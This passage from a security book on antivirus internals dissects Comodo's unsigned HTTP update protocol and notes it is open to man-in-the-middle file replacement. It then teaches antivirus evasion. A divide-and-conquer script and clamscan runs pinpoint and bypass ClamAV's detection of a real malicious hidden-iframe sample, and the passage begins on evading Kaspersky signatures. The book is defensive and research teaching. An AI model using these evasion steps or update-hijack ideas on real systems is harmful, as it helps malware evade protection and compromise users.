0D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

The contents of this binary fi le look like the Comodo antivirus signatures. 

The latest public version available for download is 20806 (as of January 23, 2015). 

Your next step should be to see if it is the latest available version:

$ HEAD http://cdn.download.comodo.com/av/updates58/sigs/updates/
BASE_UPD_END_USER_v20813.cav
200 OK
Connection: close
Date: Fri, 23 Jan 2015 08:52:48 GMT
(…)

$ HEAD http://cdn.download.comodo.com/av/updates58/sigs/updates/
BASE_UPD_END_USER_v20814.cav
200 OK
Connection: close
Date: Fri, 23 Jan 2015 08:52:52 GMT
(…)

$ HEAD http://cdn.download.comodo.com/av/updates58/sigs/updates/
BASE_UPD_END_USER_v20815.cav
404 Not Found
Connection: close
Date: Fri, 23 Jan 2015 08:52:54 GMT
(…)



 Chapter 5 ■ The Update System 97

It seems that more new BASE_UPD_END_USER fi les (the latest is 20815) are available R

in the server, but, for some reason, the latest version they want to be installed is 

20806. This may indicate that these new signature fi les are beta signatures (sets

of signatures that are still not very reliable) that they want to be available so 

that support services can download them for customers who need to remove 

a specifi c piece of malware. Or it may simply be that the versioninfo.ini fi le

was not updated at the time you checked. You can’t really know, but, at least, 

you learned the following:

■ How the antivirus software checks whether a new version of its virus 

defi nition fi les is available

■ The exact remote path to download the update fi les from

However, you still do not know how the antivirus software is updated, if at 

all; you just learned how to update the signature fi les. Returning to the Comodo 

antivirus GUI, if you click the More tab, you will fi nd the Check for Updates 

option. Start a new, clean Wireshark trace and click that option to see what 

happens. After a while, the antivirus tells you that you have the latest version 

and provides a full trace in Wireshark that you can use to determine how it 

concluded there are no more versions (see Figure 5-5).

Figure 5-5:  The recorded trace checking for new Comodo product files

This trace shows the antivirus downloads in an XML-formatted file: 

http://cdn.download.comodo.com/cavmgl/download/updates/release/

inis_1800/cavmgl_update_x64.xml.

Try to open the fi le in your favorite web browser to determine what the 

 purpose of this software is (see Figure 5-6).
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Figure 5-6:  XML file to update Comodo software for Linux

The cavmgl_updates tag includes various file XML tags. Each XML tag con-

tains a set of fi les that can be updated with the fi lename, its fi le size, the SHA1 hash, 

and the base URI from which to download it (from the src attribute); they also 

contain information about where to copy it (<copy folder="repair">) and whether

the antivirus must be rebooted after updating that fi le (requireReboot="true"). 

Pick the fi le libSCRIPT.so and check its SHA1 hash in your installation directory:

$ sha1sum /opt/COMODO/repair/libSCRIPT.so 
bbd369a115adb6551286c7d63687541573592d3d  repair/libSCRIPT.so

The SHA1 hash is the same, so this fi le is not upgradeable. Continue checking 

all the SHA1 hashes of all the fi les appearing in the XML fi le. The SHA1 hash 

corresponds to the fi les you just installed. Add one byte to the fi le libSCRIPT.so:

# cp libSCRIPT.so libSCRIPT.so-orig
# echo A >> libSCRIPT.so
# sha1sum libSCRIPT.so
15fc298d32f3f346dcad45edb20ad20e65031f0e  libSCRIPT.so

Now, click Check for Updates again in the Comodo antivirus GUI tool. 

Hmm…nothing happens. You need to change something else. If you fi nd the fi le 

libSCRIPT.so in the installation directory of the antivirus product, you will

discover more occurrences:

# find /opt/COMODO/ -name "libSCRIPT.so"
/opt/COMODO/repair/libSCRIPT.so
/opt/COMODO/repair/scanners/libSCRIPT.so
/opt/COMODO/scanners/libSCRIPT.so
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You have more fi les to replace. Chances are good that after copying the fi les 

to libSCRIPT.so, the updater then replaces the other fi les. However, you are not 

updating this fi le from the GUI tool; you replaced it manually. Try to replace 

the other two occurrences with your new fi le:

# cp /opt/COMODO/repair/libSCRIPT.so /opt/COMODO/repair/scanners/
# cp /opt/COMODO/repair/libSCRIPT.so /opt/COMODO/scanners/

Now, go back to Wireshark, start a new, clean trace, and then go to the  antivirus 

GUI tool and click Check for Updates. Hurrah! This time the antivirus software 

says there is an available update. If you click the Continue button and let it fi nish 

the process, it downloads the libSCRIPT.so fi le. You can check it in Wireshark, 

as shown in Figure 5-7.

Figure 5-7:  Tracing the download of the libSCRIPT.so component

You have now fi nished dissecting this trivial example to analyze protocol! 

What’s next? You may want to write an exploit for this update protocol, as you 

just discovered the following vulnerabilities for it:

■ Everything is downloaded via HTTP.

■ The integrity of downloaded fi les is verifi ed with a cryptographic hash, 

but no signature check is made to determine whether or not a fi le was 

created by Comodo developers.

■ The catalog fi le is not signed. In fact, you did not observe signature checks 

anywhere.
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Because of those update protocol weaknesses, if you can launch an MITM  

attack in a LAN, for example, you can change the contents and install anything 

you want (as long as you write an exploit that supplies an XML catalog fi le as 

expected by the Comodo antivirus software). Oh! By the way, by exploiting 

this bug, you can install fi les as the root user anywhere you want. Isn’t it cool?

When Protection Is Done Wrong

Some antivirus products advertise that they can inspect HTTPS, the HTTP 

protocol when encrypted with SSL/TLS. What it really means is that they use 

the same actions that malware does to inspect network traffi c and protect cus-

tomers because SSL/TLS, by design, cannot be inspected. In April 2015, Hanno 

Böck posted an interesting analysis of TLS inspection performed by antivirus 

software in his blog (https://blog.hboeck.de/archives/869-How-Kaspersky-

makes-you-vulnerable-to-the-FREAK-attack-and-other-ways-Antivirus-

software-lowers-your-HTTPS-security.html).

As stated in that blog post, an antivirus product that wants to perform TLS 

inspection must launch an MITM attack and install a certifi cate signed with a 

trusted certifi cate authority for the specifi c domain to be inspected (like *.google

.com), or it must create new certifi cates for each new site that its users visit, sign-

ing them with a valid CA. Antivirus products, legal software like Superfi sh or 

PrivDog, and malwares solve this problem in Windows by installing a new root 

certifi cate. In the case of antivirus software, this strategy is actually doing the 

opposite of what is intended: it lowers the security level of the computer being 

protected by simply circumventing TLS.

According to the previously mentioned blog post, various antivirus products, 

like Kaspersky or Avast, by default, or ESET, on demand, make use of such 

techniques to check for malware inside all the HTTPS traffi c. This causes a lot 

of problems in the TLS protocol. For example, all software out there using TLS 

inspection techniques breaks HTTP Public Key Pinning (HPKP). This technology 

allows a web page to pin public keys of certifi cates in a browser. On subsequent 

visits, the browser will only accept certifi cates with these keys. This very effec-

tive protection against malicious or hacked certifi cate authorities issuing rogue 

certifi cates is actually broken by your antivirus software.

As if this were not bad enough, some TLS interception software implemen-

tations, like the one used by Kaspersky, make their customers vulnerable to a 

plethora of known and fi xed attacks against TLS, such as CRIME and FREAK, to 

name just a few. Also, both Avast and Kaspersky accept nonsensical values for 

the Diffi e Hellman key exchanges, with a size of 8bit, for example. Even worse 

is that they are actually lowering their own products’ protection level when 

downloading updates from their own servers (if they happen to use TLS at all). 
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This is unacceptable from the protection point of view. On the other hand, it 

makes the life of an exploit writer easier: the antivirus itself is allowing you to 

launch many other attacks that, without a browser, would not be possible even 

if the computer has all the operating system updates installed. 

Summary 

This chapter covered various topics pertaining to update services, such as 

how they generally work in modern antiviruses, which transport protocols 

are  typically used, and the security shortcomings arising from incorrect and 

 insecure implementations:

■ Update fi les packaging—It is important to be able to update only the

changed part and minimize the network traffi c used. Catalog fi les are 

typically used in update services to describe the fi les to be updated, their

hashes, and other metadata needed during the updating process.

■ Transport protocol—Using insecure channels such as HTTP opens the

user to MITM attacks, among other things. However, using an encrypted 

update channel alone is not enough.

■ Update package integrity verifi cation—It is possible to use an unencrypted 

channel but still validate the integrity of the update fi les. However, the 

converse is incorrect: a secure update channel, for example, HTTPS, with-

out proper fi le integrity checks is pretty useless.

■ Insecure update service implementations are not a myth—An in-depth

look at how a commercial AV update service works proves otherwise. As 

it turns out, the update service in question uses the unencrypted HTTP 

protocol and employs a catalog fi le containing the list of fi les to be updated 

along with their hashes. A good protection one would think, but its weak-

ness was that the catalog fi le itself is not validated, thus it is possible to 

serve a modifi ed catalog fi le with a list of fi les that the attacker controls

along with their correct hashes.

This chapter concluded with a discussion about how HTTPS interception 

methods used by popular antivirus products actually break HTTPS certifi cate 

pinning and render the customers’ machines more unsafe.

This is the last chapter in the fi rst part of this book, where all the important 

introductory and background material has been laid out. In the next part of this 

book, titled “Antivirus Software Evasion,” we start discussing how to evade 

the various parts of the antivirus software that were discussed during the fi rst 

part of this book .
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6

Antivirus Softwaree Evasion

Antivirus evasion techniques are used by malware writers, as well as by 

 penetration testers and vulnerability researchers, in order to bypass one or 

more antivirus software applications. This ensures the payload the attacker 

wants to execute in the target machine or machines is not blocked by antivirus 

software and can perform the required actions.

Evasion techniques for bypassing antivirus software can be divided into two 

categories: dynamic and static. Static means that you simply want to bypass 

detection based on the antivirus’s signature-scanning algorithms, while dynamic
means that you want to bypass detection of the sample’s behavior when it 

is executed. That is, statically, you try to bypass signature-based detection 

using cyclic redundancy check algorithms (CRCs), some other fuzzy hashing 

 techniques, or cryptographic hashes by altering the binary contents of the sample, 

or you try changing the graph of the program so basic block- and function-

based  signatures can be tricked into believing the program is different. When 

 trying to dynamically evade detection, the sample in question should change 

its behavior when it detects that it is running inside a sandbox or an antivirus 

emulator, or it could execute an instruction that the emulator does not support. 

It could also try to get out of the sandbox or the “safe execution” environment 

that is set up by the antivirus software so it can run the malicious programs 

without being monitored.
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Therefore, to evade detection, you can use a plethora of different techniques. 

Some of them will be covered in the following sections, but fi rst, you will get a 

brief introduction to the art of antivirus evasion.

Who Uses Antivirus Evasion Techniques?

Antivirus evasion techniques are a controversial topic. Typical questions that 

can be heard or read regarding this topic are: Why would anyone want to evade 

antivirus software if it is not for doing something bad? Isn’t antivirus evasion 

something that only “bad guys” do? While malware writers obviously use 

evasion techniques to bypass antivirus detection and do harmful things, legitimate 

security professionals also use evasion techniques, mainly in the penetration 

testing fi eld. A security professional hired to penetrate into some corporation 

will at some point need to bypass the detection techniques employed by the 

endpoint software of the target machines in order to execute, for example, a 

Meterpreter payload and continue the assessment. Also, evasion techniques 

can be used to test the antivirus solution deployed in an organization. Security 

professionals use antivirus software to answer questions such as the following:

■ Is it possible to evade dynamic detection easily?

■ Is it possible to bypass static detection by simply changing a few bits in 

recent malware samples or with some specifi c malware?

Asking and answering such questions can help organizations protect them-

selves against malicious attacks. In their software solutions, antivirus companies 

use various systems for statically and dynamically detecting both known and 

unknown malware (usually based on reputation systems or monitoring program 

execution to determine whether the behavior looks suspicious). However, and 

sadly, bypassing antivirus detection is usually an easy task. It often takes only 

a matter of minutes, or hours in cases where more than one antivirus scanner 

must be bypassed. In 2008, an antivirus evasion contest, called the “Race to 

Zero,” was held at the DefCon conference in Las Vegas. During the contest,

participants were given a sample set of viruses and malicious code to modify 

and upload through the contest portal. The portal then used antivirus scanners 

to check whether the uploaded samples were detected and by which antivirus 

solution. The fi rst individual or team whose newly modifi ed sample bypassed 

all of the antivirus engines undetected would win that round. According to the 

organizers, each new round was designed to be more complex and challenging. 

The results: all AVs were evaded, with the single exception of a Word 97-based 

exploit because nobody had this software. Antivirus companies were angered 

and considered this contest a bad practice. Roger Thompson, CRO of AVG 

Technologies, refl ected the view of some antivirus companies when he called 

it a contest for writing “more viruses.” Paul Ferguson, from Trend Micro, said 
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that it was a bad idea to encourage hackers to take part in a contest for bypassing 

antivirus solutions, stating that it was “a little over the top.” Unsurprisingly, most 

people in the antivirus industry complained. But, despite their complaints, the 

contest’s results showed that bypassing antivirus products is not a big challenge. 

Indeed, the contest was considered too easy, and it was never repeated again.

Discovering Where and How Malware Is Detected

A key part of antivirus evasion is determining how malware is detected. Is a 

specifi c sample detected via static means, using some signature, or is it detected 

through dynamic techniques such as monitoring behavior for suspicious actions 

or by a reputation system that prevents the execution of completely unknown 

software? If it is detected by a specifi c signature, what is that signature based on? 

Is it based on the functions imported by the portable executable (PE) sample? Is 

it based on the entropy of a code or data section in the sample? Or is it fi nding 

some specifi c string in the sample, inside one of its sections or in an embedded 

fi le within the sample? The following sections will cover some old and somewhat 

new tricks to determine how and where a known malware sample is detected.

Old Tricks for Determining Where Malware Is
Detected: Divide and Conquer

The oldest trick for bypassing antivirus detection based on static signatures, 

such as CRCs or simple pattern matching, is to split the fi le into smaller parts 

and analyze all of them separately. The chunk where the detection is still being 

triggered is actually the part of the fi le you want to change to evade the antivirus 

software you are targeting. While this approach may appear naïve and unlikely 

to work most of the time, it works very well when used with checksum-based 

signatures or pattern matching. However, you will need to adapt this approach 

to the specifi c fi le format you are researching and testing against. For example, 

if you need to bypass the detection of a PE fi le, splitting it into parts is likely 

to help, as the antivirus kernel will surely fi rst check whether the fi le is a PE. 

When it is split into chunks of data, it will no longer have a valid PE header; 

therefore, nothing will be detected. In this case, the approach you can use is 

similar, but instead of splitting the fi le into chunks, you create smaller versions 

of the fi le with increasing sizes. That’s it: the fi rst fi le contains the original bytes 

from offset 0 to byte 256, the next fi le contains the original bytes from offset 0 

to byte 512, and so on.

When one of the newly created fi les is detected, you know in which chunk and 

at what offset it is detected. If, say, it is detected in the block at offset 2,048, you can 

continue splitting the fi le, byte by byte, until you eventually get the actual offset 

where the signature matches (or you can open the fi le in a hexadecimal editor 
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to check whether something special appears, such as a certain byte sequence, 

and manually make some modifi cations). At that time, you know exactly which 

offset in the fi le causes the detection to trigger. You also need to guess how 

it is detecting your sample in that buffer. In 90 percent of cases, it will be a 

simple, old-fashioned static signature based on fuzzy hashing (that is, a CRC) 

or pattern-matching techniques, or a mix of them. In some cases, samples can

be detected via their cryptographic hashes (for the entire fi le or for a chunk of 

data), most probably checking the MD5. In this case, naturally, you would only 

need to change a single bit in the fi le contents or in the specifi c chunk of data, 

and as the cryptographic hash aims to identify a fi le univocally, the hash will 

change and the sample will not be detected anymore.

Evading a Simple Signature-Based Detection with the
Divide and Conquer Trick

This experiment uses a sample with the MD5 hash 8834639bd8664aca00b5599aaa

b833ea, detected by ClamAV as Exploit.HTML.IFrame-6. This specifi c malware 

sample is rather inoffensive as the injected iframe points to a URL that is no 

longer available. If you scan this fi le with the clamscan tool, you will see the 

following output:

$ clamscan -i 8834639bd8664aca00b5599aaab833ea
8834639bd8664aca00b5599aaab833ea: Exploit.HTML.IFrame-6 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 3700704
Engine version: 0.98.1
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.01 MB
Data read: 0.01 MB (ratio 1.00:1)
Time: 5.509 sec (0 m 5 s)

As you can see, this fi le is detected by ClamAV. Now, you will try to bypass 

this detection using the technique that was just discussed. To do so, you use 

a small Python script that simply breaks the fi le into parts incrementally: it 

creates many smaller fi les, with a size incremented by 256 bytes for each fi le. 

The script is as follows:

#!/usr/bin/python

import os
import sys
import time
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#-----------------------------------------------------------------------
def log(msg):
  print("[%s] %s" % (time.asctime(), msg))

#-----------------------------------------------------------------------
class CSplitter:
  def __init__(self, filename):
    self.buf = open(filename, "rb").read()
    self.block_size = 256

  def split(self, directory):
    blocks = len(self.buf) / self.block_size
    for i in xrange(1, blocks):
      buf = self.buf[:i*self.block_size]
      path = os.path.join(directory, "block_%d" % i)

      log("Writing file %s for block %d (until offset 0x%x)" % \
          (path, i, self.block_size * i))
      f = open(path, "wb")
      f.write(buf)
      f.close()

#-----------------------------------------------------------------------
def main(in_path, out_path):
  splitter = CSplitter(in_path)
  splitter.split(out_path)

#-----------------------------------------------------------------------
def usage():
  print("Usage: ", sys.argv[0], "<in file> <directory>")

if __name__ == "__main__":
  if len(sys.argv) != 3:
    usage()
  else:
    main(sys.argv[1], sys.argv[2])

All right, with the sample and this small tool on hand, you execute the com-

mand python split.py file directory in order to create many smaller fi les

with the original contents up to the current offset:

$ python split.py 8834639bd8664aca00b5599aaab833ea blocks/
[Thu Dec  4 03:46:31 2014] Writing file blocks/block_1 for block 1
(until offset 0x100)
[Thu Dec  4 03:46:31 2014] Writing file blocks/block_2 for block 2
(until offset 0x200)
[Thu Dec  4 03:46:31 2014] Writing file blocks/block_3 for block 3
(until offset 0x300)
[Thu Dec  4 03:46:31 2014] Writing file blocks/block_4 for block 4
(until offset 0x400)
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[Thu Dec  4 03:46:31 2014] Writing file blocks/block_5 for block 5
(until offset 0x500)
[Thu Dec  4 03:46:31 2014] Writing file blocks/block_6 for block 6
(until offset 0x600)
[Thu Dec  4 03:46:31 2014] Writing file blocks/block_7 for block 7
(until offset 0x700)
[Thu Dec  4 03:46:31 2014] Writing file blocks/block_8 for block 8
(until offset 0x800)
[Thu Dec  4 03:46:31 2014] Writing file blocks/block_9 for block 9
(until offset 0x900)
[Thu Dec  4 03:46:31 2014] Writing file blocks/block_10 for block 10
(until offset 0xa00)
(…more lines skipped…)

After creating the smaller fi les, you again execute the clamscan tool against 

the directory where all the new fi les you split are located:

$ clamscan -i blocks/block_*
blocks/block_10: Exploit.HTML.IFrame-6 FOUND
blocks/block_11: Exploit.HTML.IFrame-6 FOUND
blocks/block_12: Exploit.HTML.IFrame-6 FOUND
blocks/block_13: Exploit.HTML.IFrame-6 FOUND
blocks/block_14: Exploit.HTML.IFrame-6 FOUND
blocks/block_15: Exploit.HTML.IFrame-6 FOUND
blocks/block_16: Exploit.HTML.IFrame-6 FOUND
blocks/block_17: Exploit.HTML.IFrame-6 FOUND
blocks/block_18: Exploit.HTML.IFrame-6 FOUND
blocks/block_19: Exploit.HTML.IFrame-6 FOUND
blocks/block_2: Exploit.HTML.IFrame-6 FOUND
blocks/block_20: Exploit.HTML.IFrame-6 FOUND
blocks/block_21: Exploit.HTML.IFrame-6 FOUND
(…)

The execution output shows that the signature starts matching at the second 

block. The fi le is somewhere inside the 512 bytes. If you open the fi le blocks

/block_2 that you just created with a hexadecimal editor, you see the following:

$ pyew blocks/block_2
0000   3C 68 74 6D 6C 3E 3C 68 65 61 64 3E 3C 6D 65 74    <html><head><met

0010   61 20 68 74 74 70 2D 65 71 75 69 76 3D 22 43 6F    a http-equiv="Co

0020   6E 74 65 6E 74 2D 54 79 70 65 22 20 63 6F 6E 74    ntent-Type" cont

0030   65 6E 74 3D 22 74 65 78 74 2F 68 74 6D 6C 3B 20    ent="text/html;

0040   63 68 61 72 73 65 74 3D 77 69 6E 64 6F 77 73 2D    charset=windows-

0050   31 32 35 31 22 3E 3C 74 69 74 6C 65 3E C0 FD F0    1251"><title>...

0060   EE EF F0 E5 F1 F1 20 2D 20 D6 E5 ED F2 F0 20 E4    ...... - ..... .

0070   E5 EB EE E2 EE E9 20 EF F0 E5 F1 F1 FB 3C 2F 74    ...... ......</t

0080   69 74 6C 65 3E 3C 2F 68 65 61 64 3E 0A 3C 62 6F    itle></head>.<bo

0090   64 79 20 62 67 63 6F 6C 6F 72 3D 22 23 44 37 44    dy bgcolor="#D7D

00A0   32 44 32 22 20 41 4C 49 4E 4B 3D 22 23 44 41 30    2D2" ALINK="#DA0

00B0   30 30 30 22 20 56 4C 49 4E 4B 3D 22 23 39 38 39    000" VLINK="#989
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00C0   32 38 44 22 20 4C 49 4E 4B 3D 22 23 34 31 33 41    28D" LINK="#413A

00D0   33 34 22 20 4C 45 46 54 4D 41 52 47 49 4E 3D 22    34" LEFTMARGIN="

00E0   30 22 20 52 49 47 48 54 4D 41 52 47 49 4E 3D 22    0" RIGHTMARGIN="

00F0   30 22 20 54 4F 50 4D 41 52 47 49 4E 3D 22 30 22    0" TOPMARGIN="0"

0100   3E 3C 69 66 72 61 6D 65 20 73 72 63 3D 22 68 74   ><iframe src="ht

0110   74 70 3A 2F 2F 69 6E 74 65 72 6E 65 74 6E 61 6D    tp://internetnam

0120   65 73 74 6F 72 65 2E 63 6E 2F 69 6E 2E 63 67 69    estore.cn/in.cgi

0130   3F 69 6E 63 6F 6D 65 32 36 22 20 77 69 64 74 68    ?income26" width

0140   3D 31 20 68 65 69 67 68 74 3D 31 20 73 74 79 6C    =1 height=1 styl

0150   65 3D 22 76 69 73 69 62 69 6C 69 74 79 3A 20 68    e="visibility: h

0160   69 64 64 65 6E 22 3E 3C 2F 69 66 72 61 6D 65 3E    idden"></iframe>

0170   0A 3C 54 41 42 4C 45 20 41 4C 49 47 4E 3D 22 43    .<TABLE ALIGN="C

0180   45 4E 54 45 52 22 20 56 41 4C 49 47 4E 3D 22 54    ENTER" VALIGN="T

0190   4F 50 22 20 42 4F 52 44 45 52 3D 22 30 22 20 57    OP" BORDER="0" W

01A0   49 44 54 48 3D 22 37 37 34 22 20 63 65 6C 6C 70    IDTH="774" cellp

01B0   61 64 64 69 6E 67 3D 22 30 22 20 63 65 6C 6C 73    adding="0" cells

01C0   70 61 63 69 6E 67 3D 22 30 22 20 62 67 63 6F 6C    pacing="0" bgcol

01D0   6F 72 3D 22 23 44 46 44 44 44 44 22 3E 0A 3C 54    or="#DFDDDD">.<T

01E0   52 3E 0A 3C 54 44 20 57 49 44 54 48 3D 22 32 22    R>.<TD WIDTH="2"

01F0   20 72 6F 77 73 70 61 6E 3D 22 31 33 22 20 62 61     rowspan="13" ba

Notice the <iframe> tag inside this chunk of data from the original fi le. An

educated guess is that the signature is looking for this tag and, probably, some 

attributes, as it seems to be a generic iframe-related signature. How can you 

modify the HTML tag or its respective attributes so it is not detected? First try 

changing from <iframe src="…" to <iframe src='…'. As simple as it looks (you 

are just changing from double quotes to single quotes), it may work in some 

cases. You fi rst try this:

$ clamscan modified_block
modified_block: Exploit.HTML.IFrame-6 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 3700704
Engine version: 0.98.1
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 5.581 sec (0 m 5 s)

It does not work this time. So, you try another change: what about removing 

that space in the style="visibility: hidden" attribute of the iframe’s tag? 

A change as simple as the following diff output shows:

$ diff modified_block blocks/block_2
2c2
< <body bgcolor="#D7D2D2" ALINK="#DA0000" VLINK="#98928D" LINK="#413A34"
 LEFTMARGIN="0" RIGHTMARGIN="0" TOPMARGIN="0"><iframe
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src='http://internetnamestore.cn/in.cgi?income26" width=1 height=1
style="visibility:hidden"></iframe>
---
> <body bgcolor="#D7D2D2" ALINK="#DA0000" VLINK="#98928D" LINK="#413A34" 
LEFTMARGIN="0" RIGHTMARGIN="0" TOPMARGIN="0"><iframe
src="http://internetnamestore.cn/in.cgi?income26" width=1 height=1
style="visibility: hidden"></iframe>

Another easy change, isn’t it? And if you run the clamscan command-line 

scanner against your modifi ed fi le, you see the following:

$ clamscan modified_block
modified_block: OK

----------- SCAN SUMMARY -----------
Known viruses: 3700704
Engine version: 0.98.1
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 5.516 sec (0 m 5 s)

The detection scanner is no longer discovering anything in your modifi ed fi le. 

Now, all you have to do is modify the original sample, removing the space, and

you are done: you just evaded detection (and, apparently, most of the iframe’s 

generic detections of ClamAV).

N O T E  This technique is not really required to evade ClamAV detections. Because 

ClamAV is an open-source tool, you can unpack the signatures using sigtool and 

fi nd the name it is detecting and the signature type for a specifi c kind of malware. In 

the previous example, you would discover a pattern in hexadecimal that matches the

visibility: hidden sub-string as part of the signature. If you have the plain text

signatures, it is easier to evade detection: you can check how the malware research-

ers decide to detect it and change the sample fi le so the detection scanner does not 

catch it anymore. It can be argued that this makes an open-source anti-malware tool 

less eff ective than a commercial solution. However, keep in mind that signatures are 

always distributed with antivirus products, whether they are open source or not. The 

only diff erence is that unpackers for the signatures are not distributed by the antivirus

company and must be written by the person or team researching the antivirus. But, 

once an unpacker for the signatures of some specifi c antivirus product is coded, the 

signatures can be bypassed with the same diffi  culty level.
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Binary Instrumentation and Taint Analysis

Binary instrumentation is the ability to monitor, at (assembly) instruction level,

everything that a program is doing. Taint analysis is the ability to track and 

discover the fl ow of data, after it was read with functions such as fread or recv, 

and determine how that input data is infl uencing the code fl ow. Taint analysis 

routines, now a popular approach for program analysis, can be written using 

various binary instrumentation toolkits. Several binary instrumentation toolkits 

are freely available—such as the closed-source (with a very restrictive license)

Intel PIN and the open-source DynamoRIO—and can be used to instrument

a program, such as an antivirus command-line scanner. You may be tempted 

to implement a rather complex taint analysis module for your favorite binary 

instrumentation toolkit so you can trace where your inputs are used (the  malware 

sample’s bytes), how the data fl ows, and how it is fi nally detected, in an automatic 

and elegant way. However, this approach is highly discouraged.

There are many reasons why this approach is discouraged; some important 

ones are listed here:

■ A fi le to be scanned, depending on the antivirus core, can be opened 

only once, a few times, or a number of times according to the number of 

 different engines that the antivirus uses. Each antivirus engine will behave 

differently. Some antiviruses open a fi le thousands of times to analyze it.

■ If a fi le is opened and read only once, almost all bytes in the fi le are touched 

(“tainted”) by some routine, and the number of traces you have to fi lter

out are huge (in the order of gigabytes).

■ Some antivirus engines have a bad habit of launching all signatures against 

all fi les or buffers, even when something was detected. For example, 

assume that an antivirus engine has 100 detection routines and launches

them against the input fi le. When the sample is detected at, say, the fi fth 

detection routine, the AV engine will still launch all the other 95 detection 

routines, making it very diffi cult to determine in which routine it was 

detected. Of course, if specifi c code for each antivirus engine and detec-

tion is written, then your taint analysis program will lead you to discover 

different code paths in the AV engine.

■ The buffer read can be sent to other processes using many different methods 

(IPC, Unix sockets, and so on), and you may only get information back 

from the server telling whether or not it is infected, simply because the 

client-side part does not have the detection logic. In the previous example, 

you may need to run your binary instrumentation and taint analysis tools 

on both the client and the server AV programs because, in some antivirus 
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products, there can be routines in each process (for example, light routines 

at client and heavy routines at server).

■ To make sense of the recorded taint data coming from the taint analysis

engine, you have to modify your engine to consider various methods 

of scanning, fi le I/O, and socket API usages and how the buffers are 

passed around inside the AV core. The taint analysis engine must be 

adapted for any new antivirus kernel, which usually translates into writing 

ugly, hard-coded workarounds for a condition that happens only with a 

 specifi c antivirus engine. This approach can become very time-consuming, 

 especially when there are a large number of AV products on the market. 

For instance, VirusTotal employs around 40 antivirus products, and each 

one works differently.

■ The complexity of writing such a system, even in the hypothetical situation 

where most of the corner cases can be worked around and most problems 

can be fi xed, is not worth it. Bypassing static signatures is extremely easy 

nowadays.

Summary

 AV software evasion techniques are researched not only by malware writers 

but also by professional penetration testers who are hired by companies to test 

their infrastructures and need to bypass the deployed AV products. Evasion 

 techniques are divided into two categories: static and dynamic.

■ Static evasion techniques are achieved by modifying the contents of the

input fi le so its hash or checksum is changed and can no longer be detected 

using signature-based detections.

■ The malware may use dynamic evasion techniques during execution, 

whether in a real or emulated environment. The malware can fi ngerprint the 

AV software and change its behavior accordingly to avoid being detected.

This chapter concluded by showing two methods that can be used to help 

understand how malware are detected by the AV software:

■ The divide and conquer technique can be used to split the malicious fi le

in chunks and then scan each chunk separately to identify the chunk in 

the fi le that triggers the detection. Once the right fi le chunk is identifi ed,

then it becomes trivial to patch the input fi le and make it undetectable.

■ Binary instrumentation and taint analysis, with libraries such as Intel PIN 

or DynamoRIO, can be used to track the execution of the antivirus soft-

ware. For instance, when the appropriate AV component is instrumented, 
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it would be possible to understand how the scanned input fi le is detected. 

Nonetheless, the execution traces and logs generated from dynamic binary 

instrumentation makes this method very tedious and time-consuming.

While this chapter paved the way for the subsequent chapters in this book

part, the next chapter will cover how to bypass signature-based detections for 

various input fi le formats. 
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Evading signatures of antivirus (AV) products is one of the most common tasks 

for both bad guys (such as malware writers) and good guys (such as penetra-

tion testers). The complexity of evading AV signatures depends on the amount 

of information you have in the signature fi les, the fi le format involved, and the 

number of different antiviruses you want to evade.

As discussed in previous chapters, the most typical detection information 

found in antivirus signatures includes simple CRC32-based checksums. Evading 

such signatures (which is covered in Chapter 6) with the ClamAV’s signature, 

named Exploit.HTML.IFrame-6, is a matter of determining the exact offset

where the checksum is matched and changing at least one bit. However, there 

are other more complex signatures that cannot be bypassed with such a simple 

approach. For example, fi le-format-aware signatures, such as those specifi c to 

portable executable (PE) fi les, do not rely on a single detected evidence in a fi xed-

size buffer at a specifi c offset. The same applies to Microsoft Offi ce-supported 

fi le formats, such as OLE2 containers and RTF fi les, and too many other fi le 

formats, such as PDF, Flash, and so on. This chapter discusses some approaches 

that you can use to bypass signatures for specifi c fi le formats.

C H A P T E R 

7

Evading Signaturesgnatures
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File Formats: Corner Cases and Undocumented Cases

The number of different fi le formats that an antivirus engine must support is 

huge. As such, you cannot expect to understand the various fi le formats as well as 

the original creators do. There are, and will always be, different implementations 

of fi le format parsers from different AV vendors, and therefore their behavior 

can vary. Some differences exist because of the complexity of the fi le format, 

the quality of the fi le format’s documentation, or the lack thereof. For example, 

for a long time there was no specifi cation at all for the Microsoft Offi ce binary 

fi le formats (such as the ones used by Excel or Word). During that time, writing 

parsers for such fi le formats involved reverse-engineering and reading notes 

from random people or groups working on reverse-engineering such fi le formats 

(such as when Microsoft Offi ce was partially reverse-engineered in order to add 

 support to Offi ce fi les in the StarOffi ce product). Because of the lack of fi le format 

documentation, the level of completeness of the AV parsers for OLE2 containers 

(that is, Word documents) was at best partial and was based on data that may 

not have been completely true or on inaccurate reverse-engineering efforts.

In 2008, Microsoft made all of the documentation for the binary Offi ce formats 

freely available and claimed no trade secret rights. The documentation that was 

released contained a set of 27 PDF fi les, each consisting of hundreds of pages 

and totaling 201MB. Common sense thus dictates that no existing AV product 

would have implemented the entire fi le format. For example, if an AV company 

wanted to correctly support the Microsoft XLS (Excel) fi le format, its engineers 

would need to go through 1,185 pages of documentation. This poses a problem 

for AV engineers. The complexity and time required to implement AV solutions 

indirectly helps malware writers, reverse-engineers, and penetration testers to 

do their jobs of evading AV scanners.

Evading a Real Signature

This section looks at a generic detection signature used by Kaspersky Anti-Virus, 

at the end of January 2015, for the malware it calls Exploit.MSWord.CVE-2010-

3333.cp. This signature is designed to catch exploits abusing a vulnerability in 

some old versions of Microsoft Word when processing RTF fi le formats. When 

trying to evade detection, you can do so either haphazardly or systematically. 

The second option is covered here. 

To achieve your goal properly and systematically, you need to fi nd answers 

to these important questions:

■ Where are the virus defi nition fi les of this AV product?

■ What is the format of the virus defi nition fi les?

■ Where is the code or signature that is specifi c to the fi le for which you 

want to bypass detection?
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You start with the easiest question: Kaspersky virus defi nition fi les have the 

*.AVC extension. There are many such fi les in a common installation, includ-

ing the fi les base0001.avc to basea5ec.avc, extXXX.avc, genXXX.avc, unpXXX

.avc, and so on. This example looks at the fi le called daily.avc, where the daily

